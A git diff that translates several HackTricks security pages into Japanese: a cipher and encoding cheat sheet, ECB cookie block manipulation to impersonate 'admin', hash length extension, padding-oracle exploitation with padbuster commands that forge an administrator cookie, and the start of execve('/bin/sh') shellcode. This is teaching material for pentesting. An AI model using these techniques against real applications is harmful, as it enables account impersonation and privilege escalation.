\[_A-Za-z0-9!#$%&()\*+,./:;<=>?@\[]^\_\`{|}\~"_] - - `frDg[*jNN!7&BQM` +- `frDg[*jNN!7&BQM` - **Base100** \[] - - `👟👦👣👘👚👘👩👘👚👦👣👘` +- `👟👦👣👘👚👘👩👘👚👦👣👘` - **Base122** \[] - - `4F ˂r0Xmvc` +- `4F ˂r0Xmvc` - **ATOM-128** \[_/128GhIoPQROSTeUbADfgHijKLM+n0pFWXY456xyzB7=39VaqrstJklmNuZvwcdEC_] - - `MIc3KiXa+Ihz+lrXMIc3KbCC` +- `MIc3KiXa+Ihz+lrXMIc3KbCC` - **HAZZ15** \[_HNO4klm6ij9n+J2hyf0gzA8uvwDEq3X1Q7ZKeFrWcVTts/MRGYbdxSo=ILaUpPBC5_] - - `DmPsv8J7qrlKEoY7` +- `DmPsv8J7qrlKEoY7` - **MEGAN35** \[_3G-Ub=c-pW-Z/12+406-9Vaq-zA-F5_] - - `kLD8iwKsigSalLJ5` +- `kLD8iwKsigSalLJ5` - **ZONG22** \[_ZKj9n+yf0wDVX1s/5YbdxSo=ILaUpPBCHg8uvNO4klm6iJGhQ7eFrWczAMEq3RTt2_] - - `ayRiIo1gpO+uUc7g` +- `ayRiIo1gpO+uUc7g` - **ESAB46** \[] - - `3sHcL2NR8WrT7mhR` +- `3sHcL2NR8WrT7mhR` - **MEGAN45** \[] - - `kLD8igSXm2KZlwrX` +- `kLD8igSXm2KZlwrX` - **TIGO3FX** \[] - - `7AP9mIzdmltYmIP9mWXX` +- `7AP9mIzdmltYmIP9mWXX` - **TRIPO5** \[] - - `UE9vSbnBW6psVzxB` +- `UE9vSbnBW6psVzxB` - **FERON74** \[] - - `PbGkNudxCzaKBm0x` +- `PbGkNudxCzaKBm0x` - **GILA7** \[] - - `D+nkv8C1qIKMErY1` +- `D+nkv8C1qIKMErY1` - **Citrix CTX1** \[] - - `MNGIKCAHMOGLKPAKMMGJKNAINPHKLOBLNNHILCBHNOHLLPBK` +- `MNGIKCAHMOGLKPAKMMGJKNAINPHKLOBLNNHILCBHNOHLLPBK` [http://k4.cba.pl/dw/crypo/tools/eng_atom128c.html](http://k4.cba.pl/dw/crypo/tools/eng_atom128c.html) - 404 Dead: [https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html](https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html) ### HackerizeXS \[_╫Λ↻├☰┏_] - ``` ╫☐↑Λ↻Λ┏Λ↻☐↑Λ ``` +- [http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html](http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html) - 404 デッド: [https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html](https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html) -- [http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html](http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html) - 404 Dead: [https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html](https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html) - -### Morse - +### モールス ``` .... --- .-.. -.-. .- .-. .- -.-. --- .-.. .- ``` - -- [http://k4.cba.pl/dw/crypo/tools/eng_morse-encode.html](http://k4.cba.pl/dw/crypo/tools/eng_morse-encode.html) - 404 Dead: [https://gchq.github.io/CyberChef/](https://gchq.github.io/CyberChef/) +- [http://k4.cba.pl/dw/crypo/tools/eng_morse-encode.html](http://k4.cba.pl/dw/crypo/tools/eng_morse-encode.html) - 404 デッド: [https://gchq.github.io/CyberChef/](https://gchq.github.io/CyberChef/) ### UUencoder - ``` begin 644 webutils_pl M2$],04A/3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/3$%( @@ -142,129 +137,107 @@ F3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/3$$` ` end ``` - - [http://www.webutils.pl/index.php?idx=uu](http://www.webutils.pl/index.php?idx=uu) ### XXEncoder - ``` begin 644 webutils_pl hG2xAEIVDH236Hol-G2xAEIVDH236Hol-G2xAEIVDH236Hol-G2xAEIVDH236 5Hol-G2xAEE++ end ``` - - [www.webutils.pl/index.php?idx=xx](https://github.com/carlospolop/hacktricks/tree/bf578e4c5a955b4f6cdbe67eb4a543e16a3f848d/crypto/www.webutils.pl/index.php?idx=xx) ### YEncoder - ``` =ybegin line=128 size=28 name=webutils_pl ryvkryvkryvkryvkryvkryvkryvk =yend size=28 crc32=35834c86 ``` - - [http://www.webutils.pl/index.php?idx=yenc](http://www.webutils.pl/index.php?idx=yenc) ### BinHex - ``` (This file must be converted with BinHex 4.0) :#hGPBR9dD@acAh"X!$mr2cmr2cmr!!!!!!!8!!!!!-ka5%p-38K26%&)6da"5%p -38K26%'d9J!!: ``` - - [http://www.webutils.pl/index.php?idx=binhex](http://www.webutils.pl/index.php?idx=binhex) ### ASCII85 - ``` <~85DoF85DoF85DoF85DoF85DoF85DoF~> ``` - - [http://www.webutils.pl/index.php?idx=ascii85](http://www.webutils.pl/index.php?idx=ascii85) -### Dvorak keyboard - +### ドボラックキーボード ``` drnajapajrna ``` - - [https://www.geocachingtoolbox.com/index.php?lang=en\&page=dvorakKeyboard](https://www.geocachingtoolbox.com/index.php?lang=en&page=dvorakKeyboard) ### A1Z26 -Letters to their numerical value - +文字をその数値に変換する ``` 8 15 12 1 3 1 18 1 3 15 12 1 ``` +### アフィン暗号エンコード -### Affine Cipher Encode - -Letter to num `(ax+b)%26` (_a_ and _b_ are the keys and _x_ is the letter) and the result back to letter - +文字を数に `(ax+b)%26` (_a_ と _b_ はキーで、_x_ は文字) し、結果を文字に戻します。 ``` krodfdudfrod ``` +### SMSコード -### SMS Code +**Multitap** [は文字を置き換えます](https://www.dcode.fr/word-letter-change) それぞれのキーコードによって定義された繰り返し数字で、モバイル [電話のキーパッド](https://www.dcode.fr/phone-keypad-cipher) 上で(このモードはSMSを書くときに使用されます)。\ +例えば: 2=A, 22=B, 222=C, 3=D...\ +このコードは、\*\*いくつかの数字が繰り返されているのが見えるので\*\*識別できます。 -**Multitap** [replaces a letter](https://www.dcode.fr/word-letter-change) by repeated digits defined by the corresponding key code on a mobile [phone keypad](https://www.dcode.fr/phone-keypad-cipher) (This mode is used when writing SMS).\ -For example: 2=A, 22=B, 222=C, 3=D...\ -You can identify this code because you will see\*\* several numbers repeated\*\*. +このコードをデコードすることができます: [https://www.dcode.fr/multitap-abc-cipher](https://www.dcode.fr/multitap-abc-cipher) -You can decode this code in: [https://www.dcode.fr/multitap-abc-cipher](https://www.dcode.fr/multitap-abc-cipher) - -### Bacon Code - -Substitude each letter for 4 As or Bs (or 1s and 0s) +### ベーコンコード +各文字を4つのAまたはB(または1と0)に置き換えます。 ``` 00111 01101 01010 00000 00010 00000 10000 00000 00010 01101 01010 00000 AABBB ABBAB ABABA AAAAA AAABA AAAAA BAAAA AAAAA AAABA ABBAB ABABA AAAAA ``` - -### Runes +### ルーン ![](../images/runes.jpg) -## Compression +## 圧縮 -**Raw Deflate** and **Raw Inflate** (you can find both in Cyberchef) can compress and decompress data without headers. +**Raw Deflate** と **Raw Inflate** (どちらもCyberchefで見つけることができます) は、ヘッダーなしでデータを圧縮および解凍できます。 -## Easy Crypto +## 簡単な暗号 -### XOR - Autosolver +### XOR - 自動解決 - [https://wiremask.eu/tools/xor-cracker/](https://wiremask.eu/tools/xor-cracker/) -### Bifid - -A keywork is needed +### ビフィド +キーワードが必要です ``` fgaargaamnlunesuneoa ``` - ### Vigenere -A keywork is needed - +キーワードが必要です ``` wodsyoidrods ``` - - [https://www.guballa.de/vigenere-solver](https://www.guballa.de/vigenere-solver) - [https://www.dcode.fr/vigenere-cipher](https://www.dcode.fr/vigenere-cipher) - [https://www.mygeocachingprofile.com/codebreaker.vigenerecipher.aspx](https://www.mygeocachingprofile.com/codebreaker.vigenerecipher.aspx) -## Strong Crypto +## 強力な暗号 -### Fernet - -2 base64 strings (token and key) +### フェルネット +2つのbase64文字列(トークンとキー) ``` Token: gAAAAABWC9P7-9RsxTz_dwxh9-O2VUB7Ih8UCQL1_Zk4suxnkCvb26Ie4i8HSUJ4caHZuiNtjLl3qfmCv_fS3_VpjL7HxCz7_Q== @@ -272,27 +245,24 @@ gAAAAABWC9P7-9RsxTz_dwxh9-O2VUB7Ih8UCQL1_Zk4suxnkCvb26Ie4i8HSUJ4caHZuiNtjLl3qfmC Key: -s6eI5hyNh8liH7Gq0urPC-vzPgNnxauKvRO4g03oYI= ``` - - [https://asecuritysite.com/encryption/ferdecode](https://asecuritysite.com/encryption/ferdecode) ### Samir Secret Sharing -A secret is splitted in X parts and to recover it you need Y parts (_Y <=X_). - +秘密はX部分に分割され、回復するにはY部分が必要です (_Y <=X_)。 ``` 8019f8fa5879aa3e07858d08308dc1a8b45 80223035713295bddf0b0bd1b10a5340b89 803bc8cf294b3f83d88e86d9818792e80cd ``` - [http://christian.gen.co/secrets/](http://christian.gen.co/secrets/) -### OpenSSL brute-force +### OpenSSLブルートフォース - [https://github.com/glv2/bruteforce-salted-openssl](https://github.com/glv2/bruteforce-salted-openssl) - [https://github.com/carlospolop/easy_BFopensslCTF](https://github.com/carlospolop/easy_BFopensslCTF) -## Tools +## ツール - [https://github.com/Ganapati/RsaCtfTool](https://github.com/Ganapati/RsaCtfTool) - [https://github.com/lockedbyte/cryptovenom](https://github.com/lockedbyte/cryptovenom) diff --git a/src/cryptography/electronic-code-book-ecb.md b/src/cryptography/electronic-code-book-ecb.md index a09798b1e..5c084d7c1 100644 --- a/src/cryptography/electronic-code-book-ecb.md +++ b/src/cryptography/electronic-code-book-ecb.md @@ -2,34 +2,32 @@ # ECB -(ECB) Electronic Code Book - symmetric encryption scheme which **replaces each block of the clear text** by the **block of ciphertext**. It is the **simplest** encryption scheme. The main idea is to **split** the clear text into **blocks of N bits** (depends on the size of the block of input data, encryption algorithm) and then to encrypt (decrypt) each block of clear text using the only key. +(ECB) 電子コードブック - 対称暗号化方式で、**平文の各ブロックを** **暗号文のブロックに置き換えます**。これは**最も単純な**暗号化方式です。主なアイデアは、**平文をNビットのブロックに分割**(入力データのブロックサイズ、暗号化アルゴリズムに依存)し、次にその平文の各ブロックを唯一のキーを使用して暗号化(復号化)することです。 ![](https://upload.wikimedia.org/wikipedia/commons/thumb/e/e6/ECB_decryption.svg/601px-ECB_decryption.svg.png) -Using ECB has multiple security implications: +ECBを使用することには複数のセキュリティ上の影響があります: -- **Blocks from encrypted message can be removed** -- **Blocks from encrypted message can be moved around** +- **暗号化されたメッセージからブロックを削除できる** +- **暗号化されたメッセージからブロックを移動できる** -# Detection of the vulnerability +# 脆弱性の検出 -Imagine you login into an application several times and you **always get the same cookie**. This is because the cookie of the application is **`|`**.\ -Then, you generate to new users, both of them with the **same long password** and **almost** the **same** **username**.\ -You find out that the **blocks of 8B** where the **info of both users** is the same are **equals**. Then, you imagine that this might be because **ECB is being used**. - -Like in the following example. Observe how these** 2 decoded cookies** has several times the block **`\x23U\xE45K\xCB\x21\xC8`** +アプリケーションに何度もログインすると、**常に同じクッキーを取得する**ことを想像してください。これは、アプリケーションのクッキーが**`|`**であるためです。\ +次に、**同じ長いパスワード**と**ほぼ同じ****ユーザー名**を持つ新しいユーザーを2人生成します。\ +**両方のユーザーの情報が同じである8Bのブロックが** **等しい**ことがわかります。次に、これは**ECBが使用されている**ためかもしれないと想像します。 +次の例のように。これらの**2つのデコードされたクッキー**が何度もブロック**`\x23U\xE45K\xCB\x21\xC8`**を持っていることに注目してください。 ``` \x23U\xE45K\xCB\x21\xC8\x23U\xE45K\xCB\x21\xC8\x04\xB6\xE1H\xD1\x1E \xB6\x23U\xE45K\xCB\x21\xC8\x23U\xE45K\xCB\x21\xC8+=\xD4F\xF7\x99\xD9\xA9 \x23U\xE45K\xCB\x21\xC8\x23U\xE45K\xCB\x21\xC8\x04\xB6\xE1H\xD1\x1E \xB6\x23U\xE45K\xCB\x21\xC8\x23U\xE45K\xCB\x21\xC8+=\xD4F\xF7\x99\xD9\xA9 ``` +これは、**それらのクッキーのユーザー名とパスワードに「a」という文字が何度も含まれていたため**です(例えば)。**異なる**ブロックは、**少なくとも1つの異なる文字**(区切り文字「|」やユーザー名の必要な違いなど)を含むブロックです。 -This is because the **username and password of those cookies contained several times the letter "a"** (for example). The **blocks** that are **different** are blocks that contained **at least 1 different character** (maybe the delimiter "|" or some necessary difference in the username). +今、攻撃者はフォーマットが``または``のどちらであるかを発見する必要があります。そのために、**似たような長いユーザー名とパスワードを持ついくつかのユーザー名を生成するだけで、フォーマットと区切り文字の長さを見つけることができます:** -Now, the attacker just need to discover if the format is `` or ``. For doing that, he can just **generate several usernames **with s**imilar and long usernames and passwords until he find the format and the length of the delimiter:** - -| Username length: | Password length: | Username+Password length: | Cookie's length (after decoding): | +| ユーザー名の長さ: | パスワードの長さ: | ユーザー名+パスワードの長さ: | クッキーの長さ(デコード後): | | ---------------- | ---------------- | ------------------------- | --------------------------------- | | 2 | 2 | 4 | 8 | | 3 | 3 | 6 | 8 | @@ -37,37 +35,33 @@ Now, the attacker just need to discover if the format is `< | 4 | 4 | 8 | 16 | | 7 | 7 | 14 | 16 | -# Exploitation of the vulnerability +# 脆弱性の悪用 -## Removing entire blocks - -Knowing the format of the cookie (`|`), in order to impersonate the username `admin` create a new user called `aaaaaaaaadmin` and get the cookie and decode it: +## 全体のブロックを削除する +クッキーのフォーマット(`|`)を知っている場合、ユーザー名`admin`を偽装するために、`aaaaaaaaadmin`という新しいユーザーを作成し、クッキーを取得してデコードします: ``` \x23U\xE45K\xCB\x21\xC8\xE0Vd8oE\x123\aO\x43T\x32\xD5U\xD4 ``` - -We can see the pattern `\x23U\xE45K\xCB\x21\xC8` created previously with the username that contained only `a`.\ -Then, you can remove the first block of 8B and you will et a valid cookie for the username `admin`: - +以前に作成されたパターン `\x23U\xE45K\xCB\x21\xC8` を見ることができます。このパターンは、`a` のみを含むユーザー名で作成されました。\ +次に、最初の8Bのブロックを削除すると、ユーザー名 `admin` の有効なクッキーが得られます: ``` \xE0Vd8oE\x123\aO\x43T\x32\xD5U\xD4 ``` +## ブロックの移動 -## Moving blocks +多くのデータベースでは、`WHERE username='admin';`を検索するのと、`WHERE username='admin ';`を検索するのは同じです。 _(余分なスペースに注意)_ -In many databases it is the same to search for `WHERE username='admin';` or for `WHERE username='admin ';` _(Note the extra spaces)_ +したがって、ユーザー`admin`を偽装する別の方法は次のとおりです: -So, another way to impersonate the user `admin` would be to: +- `len() + len(`は2つの8Bのブロックを生成します。 +- 次に、偽装したいユーザー名とスペースを含む正確な数のブロックを埋めるパスワードを生成します。例えば、`admin `のように。 -- Generate a username that: `len() + len(` will generate 2 blocks of 8Bs. -- Then, generate a password that will fill an exact number of blocks containing the username we want to impersonate and spaces, like: `admin ` +このユーザーのクッキーは3つのブロックで構成されます:最初の2つはユーザー名+デリミタのブロックで、3つ目は(ユーザー名を偽装している)パスワードです:`username |admin ` -The cookie of this user is going to be composed by 3 blocks: the first 2 is the blocks of the username + delimiter and the third one of the password (which is faking the username): `username |admin ` +**次に、最初のブロックを最後のブロックと置き換えるだけで、ユーザー`admin`を偽装します:`admin |username`** -**Then, just replace the first block with the last time and will be impersonating the user `admin`: `admin |username`** - -## References +## 参考文献 - [http://cryptowiki.net/index.php?title=Electronic_Code_Book\_(ECB)]() diff --git a/src/cryptography/hash-length-extension-attack.md b/src/cryptography/hash-length-extension-attack.md index 837cedd01..08437d1f7 100644 --- a/src/cryptography/hash-length-extension-attack.md +++ b/src/cryptography/hash-length-extension-attack.md @@ -1,36 +1,36 @@ {{#include ../banners/hacktricks-training.md}} -# Summary of the attack +# 攻撃の概要 -Imagine a server which is **signing** some **data** by **appending** a **secret** to some known clear text data and then hashing that data. If you know: +サーバーが**データ**に**秘密**を追加して**署名**し、そのデータをハッシュ化していると想像してください。次のことがわかっている場合: -- **The length of the secret** (this can be also bruteforced from a given length range) -- **The clear text data** -- **The algorithm (and it's vulnerable to this attack)** -- **The padding is known** - - Usually a default one is used, so if the other 3 requirements are met, this also is - - The padding vary depending on the length of the secret+data, that's why the length of the secret is needed +- **秘密の長さ**(これは与えられた長さの範囲からブルートフォースで求めることもできます) +- **平文データ** +- **アルゴリズム(この攻撃に対して脆弱である)** +- **パディングが知られている** +- 通常はデフォルトのものが使用されるため、他の3つの要件が満たされていれば、これもそうです +- パディングは秘密+データの長さによって異なるため、秘密の長さが必要です -Then, it's possible for an **attacker** to **append** **data** and **generate** a valid **signature** for the **previous data + appended data**. +その場合、**攻撃者**は**データ**を**追加**し、**以前のデータ + 追加されたデータ**の有効な**署名**を**生成**することが可能です。 -## How? +## どうやって? -Basically the vulnerable algorithms generate the hashes by firstly **hashing a block of data**, and then, **from** the **previously** created **hash** (state), they **add the next block of data** and **hash it**. +基本的に、脆弱なアルゴリズムは、最初に**データのブロックをハッシュ化**し、その後、**以前に**作成された**ハッシュ**(状態)から**次のデータのブロックを追加**して**ハッシュ化**します。 -Then, imagine that the secret is "secret" and the data is "data", the MD5 of "secretdata" is 6036708eba0d11f6ef52ad44e8b74d5b.\ -If an attacker wants to append the string "append" he can: +例えば、秘密が「secret」でデータが「data」の場合、「secretdata」のMD5は6036708eba0d11f6ef52ad44e8b74d5bです。\ +攻撃者が「append」という文字列を追加したい場合、彼は次のことができます: -- Generate a MD5 of 64 "A"s -- Change the state of the previously initialized hash to 6036708eba0d11f6ef52ad44e8b74d5b -- Append the string "append" -- Finish the hash and the resulting hash will be a **valid one for "secret" + "data" + "padding" + "append"** +- 64個の「A」のMD5を生成する +- 以前に初期化されたハッシュの状態を6036708eba0d11f6ef52ad44e8b74d5bに変更する +- 文字列「append」を追加する +- ハッシュを完了し、結果のハッシュは「secret」 + 「data」 + 「padding」 + 「append」の**有効なもの**になります -## **Tool** +## **ツール** {% embed url="https://github.com/iagox86/hash_extender" %} -## References +## 参考文献 -You can find this attack good explained in [https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks](https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks) +この攻撃については、[https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks](https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks)でよく説明されています。 {{#include ../banners/hacktricks-training.md}} diff --git a/src/cryptography/padding-oracle-priv.md b/src/cryptography/padding-oracle-priv.md index 499b42d4b..42ee3159b 100644 --- a/src/cryptography/padding-oracle-priv.md +++ b/src/cryptography/padding-oracle-priv.md @@ -2,26 +2,24 @@
-{% embed url="https://websec.nl/" %} +# CBC - シファーブロックチェーン -# CBC - Cipher Block Chaining - -In CBC mode the **previous encrypted block is used as IV** to XOR with the next block: +CBCモードでは、**前の暗号化ブロックがIVとして使用され**、次のブロックとXORされます: ![https://defuse.ca/images/cbc_encryption.png](https://defuse.ca/images/cbc_encryption.png) -To decrypt CBC the **opposite** **operations** are done: +CBCを復号するには、**逆の** **操作**が行われます: ![https://defuse.ca/images/cbc_decryption.png](https://defuse.ca/images/cbc_decryption.png) -Notice how it's needed to use an **encryption** **key** and an **IV**. +**暗号化** **キー**と**IV**を使用する必要があることに注意してください。 -# Message Padding +# メッセージパディング -As the encryption is performed in **fixed** **size** **blocks**, **padding** is usually needed in the **last** **block** to complete its length.\ -Usually **PKCS7** is used, which generates a padding **repeating** the **number** of **bytes** **needed** to **complete** the block. For example, if the last block is missing 3 bytes, the padding will be `\x03\x03\x03`. +暗号化は**固定** **サイズ** **ブロック**で行われるため、**最後の** **ブロック**の長さを完成させるために**パディング**が通常必要です。\ +通常、**PKCS7**が使用され、ブロックを完成させるために**必要なバイト数**を**繰り返す**パディングが生成されます。たとえば、最後のブロックが3バイト不足している場合、パディングは`\x03\x03\x03`になります。 -Let's look at more examples with a **2 blocks of length 8bytes**: +**8バイトの長さの2つのブロック**の例を見てみましょう: | byte #0 | byte #1 | byte #2 | byte #3 | byte #4 | byte #5 | byte #6 | byte #7 | byte #0 | byte #1 | byte #2 | byte #3 | byte #4 | byte #5 | byte #6 | byte #7 | | ------- | ------- | ------- | ------- | ------- | ------- | ------- | ------- | -------- | -------- | -------- | -------- | -------- | -------- | -------- | -------- | @@ -30,51 +28,43 @@ Let's look at more examples with a **2 blocks of length 8bytes**: | P | A | S | S | W | O | R | D | 1 | 2 | 3 | **0x05** | **0x05** | **0x05** | **0x05** | **0x05** | | P | A | S | S | W | O | R | D | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | -Note how in the last example the **last block was full so another one was generated only with padding**. +最後の例では、**最後のブロックが満杯だったため、パディングだけの別のブロックが生成されました**。 -# Padding Oracle +# パディングオラクル -When an application decrypts encrypted data, it will first decrypt the data; then it will remove the padding. During the cleanup of the padding, if an **invalid padding triggers a detectable behaviour**, you have a **padding oracle vulnerability**. The detectable behaviour can be an **error**, a **lack of results**, or a **slower response**. +アプリケーションが暗号化されたデータを復号するとき、最初にデータを復号し、その後パディングを削除します。パディングのクリーンアップ中に、**無効なパディングが検出可能な動作を引き起こす**場合、**パディングオラクルの脆弱性**があります。検出可能な動作は、**エラー**、**結果の欠如**、または**応答の遅延**である可能性があります。 -If you detect this behaviour, you can **decrypt the encrypted data** and even **encrypt any cleartext**. +この動作を検出した場合、**暗号化されたデータを復号**し、さらには**任意の平文を暗号化**することができます。 -## How to exploit - -You could use [https://github.com/AonCyberLabs/PadBuster](https://github.com/AonCyberLabs/PadBuster) to exploit this kind of vulnerability or just do +## どのように悪用するか +この種の脆弱性を悪用するには、[https://github.com/AonCyberLabs/PadBuster](https://github.com/AonCyberLabs/PadBuster)を使用するか、単に行うことができます。 ``` sudo apt-get install padbuster ``` - -In order to test if the cookie of a site is vulnerable you could try: - +サイトのクッキーが脆弱かどうかをテストするために、次のことを試すことができます: ```bash perl ./padBuster.pl http://10.10.10.10/index.php "RVJDQrwUdTRWJUVUeBKkEA==" 8 -encoding 0 -cookies "login=RVJDQrwUdTRWJUVUeBKkEA==" ``` +**エンコーディング 0** は **base64** が使用されていることを意味します(他のオプションも利用可能ですので、ヘルプメニューを確認してください)。 -**Encoding 0** means that **base64** is used (but others are available, check the help menu). - -You could also **abuse this vulnerability to encrypt new data. For example, imagine that the content of the cookie is "**_**user=MyUsername**_**", then you may change it to "\_user=administrator\_" and escalate privileges inside the application. You could also do it using `paduster`specifying the -plaintext** parameter: - +この脆弱性を**悪用して新しいデータを暗号化することもできます。例えば、クッキーの内容が "**_**user=MyUsername**_**" の場合、これを "\_user=administrator\_" に変更してアプリケーション内で権限を昇格させることができます。また、`paduster`を使用して -plaintext** パラメータを指定することでも可能です。 ```bash perl ./padBuster.pl http://10.10.10.10/index.php "RVJDQrwUdTRWJUVUeBKkEA==" 8 -encoding 0 -cookies "login=RVJDQrwUdTRWJUVUeBKkEA==" -plaintext "user=administrator" ``` - -If the site is vulnerable `padbuster`will automatically try to find when the padding error occurs, but you can also indicating the error message it using the **-error** parameter. - +サイトが脆弱な場合、`padbuster`は自動的にパディングエラーが発生するタイミングを見つけようとしますが、**-error**パラメータを使用してエラーメッセージを指定することもできます。 ```bash perl ./padBuster.pl http://10.10.10.10/index.php "" 8 -encoding 0 -cookies "hcon=RVJDQrwUdTRWJUVUeBKkEA==" -error "Invalid padding" ``` +## 理論 -## The theory - -In **summary**, you can start decrypting the encrypted data by guessing the correct values that can be used to create all the **different paddings**. Then, the padding oracle attack will start decrypting bytes from the end to the start by guessing which will be the correct value that **creates a padding of 1, 2, 3, etc**. +**要約**すると、すべての**異なるパディング**を作成するために使用できる正しい値を推測することで、暗号化されたデータの復号を開始できます。次に、パディングオラクル攻撃が始まり、1、2、3などのパディングを**作成する**正しい値を推測しながら、最後から最初へバイトを復号します。 ![](<../images/image (629) (1) (1).png>) -Imagine you have some encrypted text that occupies **2 blocks** formed by the bytes from **E0 to E15**.\ -In order to **decrypt** the **last** **block** (**E8** to **E15**), the whole block passes through the "block cipher decryption" generating the **intermediary bytes I0 to I15**.\ -Finally, each intermediary byte is **XORed** with the previous encrypted bytes (E0 to E7). So: +暗号化されたテキストが**2ブロック**を占めていると想像してください。これは**E0からE15**のバイトで構成されています。\ +**最後の** **ブロック**(**E8**から**E15**)を**復号**するために、全ブロックが「ブロック暗号復号」を通過し、**中間バイトI0からI15**を生成します。\ +最後に、各中間バイトは前の暗号化されたバイト(E0からE7)と**XOR**されます。したがって: - `C15 = D(E15) ^ E7 = I15 ^ E7` - `C14 = I14 ^ E6` @@ -82,33 +72,31 @@ Finally, each intermediary byte is **XORed** with the previous encrypted bytes ( - `C12 = I12 ^ E4` - ... -Now, It's possible to **modify `E7` until `C15` is `0x01`**, which will also be a correct padding. So, in this case: `\x01 = I15 ^ E'7` +今、`C15`を`0x01`に**変更する**ことが可能であり、これも正しいパディングになります。したがって、この場合:`\x01 = I15 ^ E'7` -So, finding E'7, it's **possible to calculate I15**: `I15 = 0x01 ^ E'7` +したがって、E'7を見つけることで、**I15を計算する**ことができます:`I15 = 0x01 ^ E'7` -Which allow us to **calculate C15**: `C15 = E7 ^ I15 = E7 ^ \x01 ^ E'7` +これにより、**C15を計算する**ことができます:`C15 = E7 ^ I15 = E7 ^ \x01 ^ E'7` -Knowing **C15**, now it's possible to **calculate C14**, but this time brute-forcing the padding `\x02\x02`. +**C15**を知っているので、今度は**C14を計算する**ことが可能ですが、今回はパディング`\x02\x02`をブルートフォースします。 -This BF is as complex as the previous one as it's possible to calculate the the `E''15` whose value is 0x02: `E''7 = \x02 ^ I15` so it's just needed to find the **`E'14`** that generates a **`C14` equals to `0x02`**.\ -Then, do the same steps to decrypt C14: **`C14 = E6 ^ I14 = E6 ^ \x02 ^ E''6`** +このBFは前のものと同じくらい複雑で、値が0x02の`E''15`を計算することが可能です:`E''7 = \x02 ^ I15`。したがって、**`C14`が`0x02`に等しい**ように生成する**`E'14`**を見つけるだけです。\ +次に、C14を復号するために同じ手順を実行します:**`C14 = E6 ^ I14 = E6 ^ \x02 ^ E''6`** -**Follow this chain until you decrypt the whole encrypted text.** +**このチェーンをたどって、暗号化されたテキスト全体を復号します。** -## Detection of the vulnerability +## 脆弱性の検出 -Register and account and log in with this account .\ -If you **log in many times** and always get the **same cookie**, there is probably **something** **wrong** in the application. The **cookie sent back should be unique** each time you log in. If the cookie is **always** the **same**, it will probably always be valid and there **won't be anyway to invalidate i**t. +アカウントを登録し、このアカウントでログインします。\ +もし**何度もログイン**して、常に**同じクッキー**を受け取る場合、アプリケーションに**何か****問題**がある可能性があります。**送信されるクッキーは、ログインするたびにユニークであるべきです**。クッキーが**常に**同じであれば、おそらく常に有効であり、それを無効にする方法は**ありません**。 -Now, if you try to **modify** the **cookie**, you can see that you get an **error** from the application.\ -But if you BF the padding (using padbuster for example) you manage to get another cookie valid for a different user. This scenario is highly probably vulnerable to padbuster. +今、**クッキーを変更**しようとすると、アプリケーションから**エラー**が返されることがわかります。\ +しかし、パディングをブルートフォース(例えばpadbusterを使用)すると、別のユーザーに対して有効な別のクッキーを取得することができます。このシナリオは、padbusterに対して脆弱である可能性が非常に高いです。 -## References +## 参考文献 - [https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation](https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation)
-{% embed url="https://websec.nl/" %} - {{#include ../banners/hacktricks-training.md}} diff --git a/src/cryptography/rc4-encrypt-and-decrypt.md b/src/cryptography/rc4-encrypt-and-decrypt.md index dc89fa296..017a2f5bb 100644 --- a/src/cryptography/rc4-encrypt-and-decrypt.md +++ b/src/cryptography/rc4-encrypt-and-decrypt.md @@ -1,8 +1,8 @@ {{#include ../banners/hacktricks-training.md}} -If you can somehow encrypt a plaintext using RC4, you can decrypt any content encrypted by that RC4 (using the same password) just using the encryption function. +RC4を使用してプレーンテキストを暗号化できる場合、そのRC4によって暗号化された任意のコンテンツを(同じパスワードを使用して)暗号化関数を使って復号化できます。 -If you can encrypt a known plaintext you can also extract the password. More references can be found in the HTB Kryptos machine: +既知のプレーンテキストを暗号化できる場合、パスワードを抽出することもできます。詳細な参考情報はHTB Kryptosマシンで見つけることができます: {% embed url="https://0xrick.github.io/hack-the-box/kryptos/" %} diff --git a/src/emails-vulns.md b/src/emails-vulns.md index 15d9cc343..218a27a7d 100644 --- a/src/emails-vulns.md +++ b/src/emails-vulns.md @@ -1,4 +1,4 @@ -# Emails Vulnerabilities +# メールの脆弱性 {{#include ./banners/hacktricks-training.md}} @@ -7,4 +7,3 @@ ## {{#include ./banners/hacktricks-training.md}} - diff --git a/src/exploiting/linux-exploiting-basic-esp/README.md b/src/exploiting/linux-exploiting-basic-esp/README.md index b0feaf1a9..768687275 100644 --- a/src/exploiting/linux-exploiting-basic-esp/README.md +++ b/src/exploiting/linux-exploiting-basic-esp/README.md @@ -4,39 +4,36 @@ ## **2.SHELLCODE** -Ver interrupciones de kernel: cat /usr/include/i386-linux-gnu/asm/unistd_32.h | grep “\_\_NR\_” +カーネルの割り込みを表示する: cat /usr/include/i386-linux-gnu/asm/unistd_32.h | grep “\_\_NR\_” setreuid(0,0); // \_\_NR_setreuid 70\ execve(“/bin/sh”, args\[], NULL); // \_\_NR_execve 11\ exit(0); // \_\_NR_exit 1 -xor eax, eax ; limpiamos eax\ -xor ebx, ebx ; ebx = 0 pues no hay argumento que pasar\ +xor eax, eax ; eaxをクリア\ +xor ebx, ebx ; ebx = 0 なので引数はなし\ mov al, 0x01 ; eax = 1 —> \_\_NR_exit 1\ -int 0x80 ; Ejecutar syscall +int 0x80 ; 